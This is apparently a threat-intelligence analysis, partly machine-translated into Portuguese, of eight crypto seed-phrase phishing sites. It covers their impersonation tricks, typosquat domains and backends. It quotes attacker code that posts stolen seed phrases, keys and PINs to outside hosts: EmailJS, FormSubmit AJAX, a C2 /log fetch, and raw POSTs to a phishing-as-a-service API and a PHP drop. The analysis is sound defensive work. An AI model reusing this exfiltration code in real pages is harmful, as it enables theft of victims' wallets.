Anatomia do phishing relacionado a criptomoedas:
8 Ataques Reais Analisados

Falsificação de identidade

Um “protocolo descentralizado” fictício para validação de carteiras. Utiliza tickers de preços em tempo real do CryptoCompare e links para exploradores de blockchain reais (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) para conferir credibilidade. A página inicial exibe mais de 100 logotipos de carteiras e um processo de “validação” em três etapas.

A cadeia dupla de exfiltração

O backend mais sofisticado dos cinco — todas as credenciais roubadas são enviadas por meio de dois canais independentes simultaneamente:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

Conclusões da OSINT

Falsificação de identidade

Uma reprodução perfeita, pixel por pixel, da realidade Aqualibre (AQLA) página de migração de tokens. O código HTML contém uma tag de metadados que revela a fonte: data-scrapbook-source="https://token.aqla.app/migration", com data de 19 de novembro de 2024.

A abordagem “zero código”

Esse invasor requer sem código do lado do servidor. O formulário envia os dados diretamente para Não estático — um backend de formulário legítimo para sites estáticos. Cada envio é encaminhado para o e-mail do golpista. O e-mail do atacante é nunca aparece no código-fonte.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Falsificação de identidade

O subdomínio contém "safpal" — um erro ortográfico deliberado de SafePal, uma carteira de hardware popular. O site se apresenta como “Blockchain Wallet Rectification”, com 26 categorias de notícias falsas. Utiliza o Typed.js para animar os nomes das cadeias (Ethereum, BSC, Polygon...) e um ticker do LiveCoinWatch para dar credibilidade.

O mesmo kit, o mesmo operador?

Utiliza o exatamente o mesmo modelo de phishing como Local nº 2: idêntico connect.html, idêntico wallets.html com mais de 60 logotipos, no mesmo backend do Un-static (ID de formulário diferente — 6f1b82c3...da9943af). O fato de o kit ser idêntico sugere fortemente que um operador responsável por ambos os locais.

Erros no código: “Privay Policy” (falta um ‘c’), “seperated” (deveria ser “separated”), “Kestore” (falta um ‘y’). O campo de senha usa type="text" em vez de type="password".

Falsificação de identidade

Um clone quase perfeito do Rede Flare portal — uma blockchain EVM de Camada 1 de verdade, com os protocolos FTSO e Data Connector. Reproduz mais de 30 parceiros do ecossistema, a navegação e a identidade visual. Favicons carregados a partir de um domínio typosquat: portal.flaremainet.com (falta um “n” em “mainnet”).

Redundância dupla do EmailJS

O único site que usa duas contas separadas do EmailJS simultaneamente para redundância contra remoções:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Assunto do e-mail para cada roubo: "New Wallet Details from Flare".

Site nº 4: anúncios pagos, rastreamento analítico e exfiltração dupla — a operação mais profissional

Falsificação de identidade

Um serviço genérico de “COIN NODE” / “Wallet Fix” (sem marca específica). Direitos autorais “Wallet Fix 2022” — este modelo de kit tem pelo menos 4 anos. Imagens hospedadas em pumpeth.com (WordPress na AWS).

Phishing como Serviço

A arquitetura de back-end mais preocupante: uma API multilocatária baseada em UUID:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

Cada golpista recebe seu próprio endpoint UUID. Um operador central mantém a API, acompanha as campanhas e, possivelmente, fica com uma parte dos fundos roubados. Isso é roubo industrializado de criptomoedas — um modelo de “phishing como serviço”.

Infraestrutura relacionada (praticamente inativa)

Falsificação de identidade

A operação em duas frentes: um “Centro de Suporte” genérico em wallet-support-39n.pages.dev com 15 categorias de emissão falsas e 39 marcas de carteiras, além de um Clone da experiência de integração do Ledger com precisão de pixel em ledger-recovery.support hospedado no Replit — incluindo seleção do modelo do dispositivo, configuração do PIN e uma tabela com a frase-semente de 24 palavras com autocompletar BIP39 de verdade.

Backend C2 do Anti-Scanner

A página de suporte da carteira envia os dados roubados para api.uranustoken.org/log — um servidor C2 personalizado com nginx/Ubuntu atrás do Cloudflare. O back-end desvia intencionalmente todas as solicitações GET (retorna o erro 522 – tempo limite esgotado), respondendo apenas a solicitações POST. Isso significa que os verificadores de URL, os rastreadores do Google Safe Browsing e os pesquisadores de segurança que enviam solicitações GET para o endpoint não veem nada — o C2 parece inativo.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

O clone do Ledger executa um backend Express.js separado no próprio Replit: POST /api/recovery-phrase coletando {deviceId, pin, phrase}. Ele retorna 400 {"error":"Invalid data provided"} em caso de entrada inválida — confirmando que o backend está em funcionamento e em constante validação dados roubados.

Conclusões da OSINT

Falsificação de identidade

Uma “Plataforma de Lançamento Descentralizada” genérica com 21 categorias de iscas (Staking, Migração, KYC, Sorteio, Resgate de recompensas, Recuperação de ativos, Pré-venda, Cunhagem de NFTs, Contas bloqueadas...) e Mais de 70 marcas de carteiras — uma das listas de carteiras mais completas que encontramos. O erro ortográfico revelador “Sychronize” (faltando o ‘n’) denuncia a falsificação.

The FormSubmit Pipeline

Usos FormSubmit.co — um serviço legítimo de envio de formulários por e-mail. O hash do endpoint a2cf4131f1a5d39453c7c183df96f86f é o MD5 do endereço de e-mail do golpista. Realizamos um ataque de força bruta em centenas de padrões de e-mail no Gmail, Yahoo, Hotmail, ProtonMail, Yandex e Mail.ru — não foi encontrado nenhum resultado. O golpista usa um endereço de e-mail incomum ou gerado aleatoriamente.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

Conclusões da OSINT

Falsificação de identidade

Desconhecido — tanto o front-end quanto o back-end estão fora do ar. Com base na estrutura da carga útil, tratava-se de um programa para roubar a frase-semente de uma carteira de criptomoedas. O Bucket público do Cloudflare R2 (armazenamento de objetos, não o Pages) é um vetor de phishing bem documentado com mais de 5.000 páginas maliciosas identificadas e um aumento de 61 vezes no tráfego relatado pela Netskope.

A configuração do “script kiddie”

O mais operação primitiva nesta coleção. As frases-semente são enviadas palavra por palavra para um script PHP em execução em um computador doméstico ou VPS por meio de um serviço gratuito de DNS dinâmico:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

Conclusões da OSINT